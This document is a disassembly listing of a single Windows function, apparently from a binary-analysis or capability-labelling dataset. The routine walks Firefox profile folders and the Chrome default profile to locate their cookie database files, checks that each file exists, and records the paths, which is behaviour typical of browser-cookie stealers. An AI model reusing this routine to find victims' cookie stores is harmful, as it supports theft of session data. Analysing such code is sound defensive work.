Function at 0x537b00
Capabilities:
Enumerate files on windows
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x606fff
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6b4
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov dword [esp + 0x14], ebp
mov dword [esp + 0x1c], ebp
mov word [esp + 0x18], bp
mov eax, dword [esp + 0x6d4]
mov dword [esp + 0x6cc], ebp
cmp eax, ebp
je 0x537f5e
cmp dword [0x6cd388], ebp
je 0x537b5c
mov dword [esp + 0x6cc], 0xffffffff
jmp 0x5381fd
lea eax, [esp + 0x64]
push eax
call fcn.00537a50
add esp, 4
test eax, eax
jne 0x537b88
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x53820b
lea ecx, [esp + 0x64]
mov byte [esp + 0x13], 0
push ecx
call fcn.005c2c42
xor ecx, ecx
add esp, 4
dec eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x2c], ebp
mov word [esp + 0x28], bp
cmp word [esp + eax*2 + 0x64], 0x5c
lea ebx, [esp + eax*2 + 0x64]
mov byte [esp + 0x6cc], 1
mov dword [esp + 0x3c], ebx
mov esi, 0x6cc7bc
je 0x537bcc
mov esi, 0x69e054
mov edx, str._s_sMozillaFirefoxProfiles
test edx, edx
je 0x537cfc
lea eax, [esp + 0x64]
test eax, eax
je 0x537cfc
cmp esi, ebp
je 0x537cfc
push edx
lea ecx, [esp + 0x34]
call fcn.00401ec0
lea ecx, [esp + 0x64]
mov bl, 2
push ecx
lea ecx, [esp + 0x50]
mov byte [esp + 0x6d0], bl
call fcn.0040d700
push esi
lea ecx, [esp + 0x44]
mov byte [esp + 0x6d0], 3
call fcn.0040d700
lea ecx, [esp + 0x24]
mov byte [esp + 0x6cc], 4
call fcn.00401070
mov edi, dword [esp + 0x4c]
cmp edi, ebp
jne 0x537c3d
lea edi, [esp + 0x50]
mov esi, dword [esp + 0x38]
lea ecx, [esp + 0x40]
call fcn.00401f40
push eax
call fcn.005c2c42
push edi
mov ebp, eax
call fcn.005c2c42
add esi, ebp
lea esi, [eax + esi + 3]
lea ebp, [esi + esi]
push ebp
call fcn.005db66d
mov edi, eax
add esp, 0xc
test edi, edi
mov dword [esp + 0x24], edi
je 0x537cc0
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x40]
call fcn.00401f40
push eax
lea ecx, [esp + 0x50]
call fcn.00401f40
push eax
lea ecx, [esp + 0x38]
call fcn.00401f40
push eax
mov eax, dword [esp + 0x30]
push esi
push eax
call fcn.005c2bd2
mov ecx, dword [esp + 0x38]
push ecx
call fcn.005c2c42
add esp, 0x18
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 3
call fcn.00401070
lea ecx, [esp + 0x4c]
mov byte [esp + 0x6cc], bl
call fcn.00401070
lea ecx, [esp + 0x30]
mov byte [esp + 0x6cc], 1
call fcn.00401070
mov ecx, dword [esp + 0x24]
mov ebx, dword [esp + 0x3c]
xor ebp, ebp
cmp ecx, ebp
jne 0x537d04
lea ecx, [esp + 0x28]
lea edx, [esp + 0x26c]
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x3c], edi
je 0x537f1c
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea eax, [esp + 0x298]
push 0x69edc8
push eax
call fcn.005c314f
add esp, 8
test eax, eax
je 0x537d5a
lea ecx, [esp + 0x298]
push 0x69edc0
push ecx
call fcn.005c314f
add esp, 8
test eax, eax
jne 0x537d6f
lea edx, [esp + 0x26c]
push edx
push edi
call esi
test eax, eax
je 0x537f0d
jmp 0x537d28
cmp word [ebx], 0x5c
mov esi, 0x6cc7bc
je 0x537d7f
mov esi, 0x69e054
mov eax, str._s_sMozillaFirefoxProfiles_scookies.sqlite
test eax, eax
je 0x537f08
lea ecx, [esp + 0x64]
test ecx, ecx
je 0x537f08
cmp esi, ebp
je 0x537f08
lea edx, [esp + 0x298]
test edx, edx
je 0x537f08
lea eax, [esp + 0x64]
lea ecx, [esp + 0x58]
push eax
call fcn.0040d700
push esi
lea ecx, [esp + 0x50]
mov byte [esp + 0x6d0], 5
call fcn.0040d700
lea ecx, [esp + 0x298]
mov byte [esp + 0x6cc], 6
push ecx
lea ecx, [esp + 0x44]
call fcn.0040d700
mov bl, 7
lea ecx, [esp + 0x14]
mov byte [esp + 0x6cc], bl
call fcn.00401070
push str._s_sMozillaFirefoxProfiles_scookies.sqlite
lea ecx, [esp + 0x34]
call fcn.00401ec0
mov esi, dword [esp + 0x38]
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 8
call fcn.00401f40
push eax
call fcn.005c2c42
add esp, 4
lea ecx, [esp + 0x4c]
mov edi, eax
call fcn.00401f40
push eax
call fcn.005c2c42
mov ebp, eax
add esp, 4
lea ecx, [esp + 0x58]
add ebp, esi
call fcn.00401f40
push eax
call fcn.005c2c42
add ebp, edi
lea esi, [eax + ebp + 4]
lea ebp, [esi + esi]
push ebp
call fcn.005db66d
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x14], edi
je 0x537ebf
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x40]
call fcn.00401f40
push eax
lea ecx, [esp + 0x50]
call fcn.00401f40
push eax
lea ecx, [esp + 0x60]
call fcn.00401f40
push eax
lea ecx, [esp + 0x3c]
call fcn.00401f40
push eax
mov eax, dword [esp + 0x24]
push esi
push eax
call fcn.005c2bd2
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.005c2c42
add esp, 0x1c
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x6cc], bl
call fcn.00401070
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 6
call fcn.00401070
lea ecx, [esp + 0x4c]
mov byte [esp + 0x6cc], 5
call fcn.00401070
lea ecx, [esp + 0x58]
mov byte [esp + 0x6cc], 1
call fcn.00401070
mov edi, dword [esp + 0x3c]
xor ebp, ebp
mov byte [esp + 0x13], 1
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [esp + 0x13]
test al, al
jne 0x537f48
lea ecx, [esp + 0x24]
mov byte [esp + 0x6cc], 0
call fcn.00401070
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x53820b
lea ecx, [esp + 0x24]
mov byte [esp + 0x6cc], 0
call fcn.00401070
jmp 0x5380f9
cmp dword [0x6cd38c], ebp
je 0x537f76
mov dword [esp + 0x6cc], 0xffffffff
jmp 0x5381fd
lea edx, [esp + 0x4bc]
push edx
call fcn.0040d230
add esp, 4
test eax, eax
jne 0x537fa5
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x53820b
lea eax, [esp + 0x4bc]
push eax
call fcn.005c2c42
add esp, 4
dec eax
mov esi, 0x6cc7bc
cmp word [esp + eax*2 + 0x4bc], 0x5c
je 0x537fcb
mov esi, 0x69e054
mov ecx, str._s_sGoogleChromeUser_DataDefaultcookies
test ecx, ecx
je 0x5380f9
lea edx, [esp + 0x4bc]
test edx, edx
je 0x5380f9
cmp esi, ebp
je 0x5380f9
push ecx
lea ecx, [esp + 0x44]
call fcn.00401ec0
lea eax, [esp + 0x4bc]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x6d0], 9
call fcn.0040d700
mov bl, 0xa
push esi
lea ecx, [esp + 0x5c]
mov byte [esp + 0x6d0], bl
call fcn.0040d700
lea ecx, [esp + 0x14]
mov byte [esp + 0x6cc], 0xb
call fcn.00401070
mov esi, dword [esp + 0x48]
lea ecx, [esp + 0x58]
call fcn.00401f40
push eax
call fcn.005c2c42
add esp, 4
lea ecx, [esp + 0x30]
mov edi, eax
call fcn.00401f40
push eax
call fcn.005c2c42
add esi, edi
lea esi, [eax + esi + 3]
lea ebp, [esi + esi]
push ebp
call fcn.005db66d
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x14], edi
je 0x5380c5
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x58]
call fcn.00401f40
push eax
lea ecx, [esp + 0x34]
call fcn.00401f40
push eax
lea ecx, [esp + 0x48]
call fcn.00401f40
push eax
mov eax, dword [esp + 0x20]
push esi
push eax
call fcn.005c2bd2
mov ecx, dword [esp + 0x28]
push ecx
call fcn.005c2c42
add esp, 0x18
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x58]
mov byte [esp + 0x6cc], bl
call fcn.00401070
lea ecx, [esp + 0x30]
mov byte [esp + 0x6cc], 9
call fcn.00401070
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 0
call fcn.00401070
xor ebp, ebp
mov edx, dword [0x6c826c]
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x14]
mov byte [esp + 0x6cc], 0xc
cmp eax, ebp
jne 0x538117
lea eax, [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebp
push ebp
push ebp
or ebx, 0xffffffff
push ebp
push ebx
push eax
push ebp
push 0xfde9
call edi
mov esi, eax
cmp esi, ebp
jle 0x538173
push esi
lea ecx, [esp + 0x24]
call fcn.005df633
mov ecx, dword [esp + 0x14]
cmp ecx, ebp
jne 0x53814a
lea ecx, [esp + 0x18]
push ebp
push ebp
push esi
push eax
push ebx
push ecx
push ebp
push 0xfde9
call edi
test eax, eax
je 0x538173
mov eax, dword [esp + 0x14]
cmp eax, ebp
jne 0x538168
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, ebx
jne 0x538198
lea ecx, [esp + 0x20]
mov byte [esp + 0x6cc], 0
call fcn.005df266
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], ebx
call fcn.00401070
xor eax, eax
jmp 0x53820b
cmp dword [esp + 0x6d4], ebp
je 0x5381c4
mov eax, dword [esp + 0x20]
push eax
push 0x69dfbc
push 0x6cd360
call fcn.005d809b
add esp, 0xc
mov dword [0x6cd388], 1
jmp 0x5381e5
mov ecx, dword [esp + 0x20]
push ecx
push 0x69dfbc
push 0x6cd35c
call fcn.005d809b
add esp, 0xc
mov dword [0x6cd38c], 1
lea ecx, [esp + 0x20]
mov byte [esp + 0x6cc], 0
call fcn.005df266
mov dword [esp + 0x6cc], ebx
lea ecx, [esp + 0x14]
call fcn.00401070
mov eax, 1
mov ecx, dword [esp + 0x6c4]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x6c0
ret